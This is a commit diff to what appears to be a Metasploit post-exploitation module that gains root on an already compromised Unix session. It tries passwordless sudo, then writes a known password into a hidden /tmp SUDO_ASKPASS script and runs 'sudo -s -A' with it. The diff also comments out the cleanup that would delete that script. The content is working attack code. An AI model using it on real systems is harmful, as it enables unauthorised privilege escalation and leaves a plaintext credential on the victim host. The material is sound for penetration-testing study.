Tidying up, fixing csh echo behavior

This commit is contained in:
Tod Beardsley 2011-11-17 16:29:02 -06:00
parent 9878517f80
commit d8b77564ef
2 changed files with 10 additions and 7 deletions

View File

@ -10,7 +10,7 @@ module Priv
def is_root?
root_priv = false
user_id = cmd_exec("id -u")
clean_user_id = user_id.to_s.strip.lstrip.gsub(/[^\d]/,"")
clean_user_id = user_id.to_s.gsub(/[^\d]/,"")
unless clean_user_id.empty?
if clean_user_id =~ /^0$/
root_priv = true

View File

@ -86,17 +86,20 @@ class Metasploit3 < Msf::Post
::Timeout.timeout(30) do
cmd_exec("sudo -s")
end
rescue ::Timeout::Error
print_error "SUDO: Passwordless sudo timed out. Might be blocking."
rescue
print_error "SUDO: Passwordless sudo failed."
print_error "SUDO: Passwordless sudo failed. Check the session log."
end
else
askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
begin
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
# Generally will be much snappier over ssh.
# Need to timeout in case there's a blocking prompt after all
::Timeout.timeout(120) do
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
cmd_exec("echo '#!/bin/sh' > #{askpass_sh}")
cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
cmd_exec("echo echo #{password} >> #{askpass_sh}")
vprint_status "Setting executable bit."
cmd_exec("chmod +x #{askpass_sh}")
@ -107,12 +110,12 @@ class Metasploit3 < Msf::Post
vprint_status "Executing sudo -s -A"
cmd_exec("sudo -s -A")
end
rescue ::IOError, ::Timeout::Error
print_error "Sudo with a password failed."
rescue ::Timeout::Error
print_error "Timed out during sudo."
print_error "SUDO: Sudo with a password timed out."
rescue
print_error "SUDO: Sudo with a password failed. Check the session log."
end
askpass_cleanup(askpass_sh)
# askpass_cleanup(askpass_sh)
end
end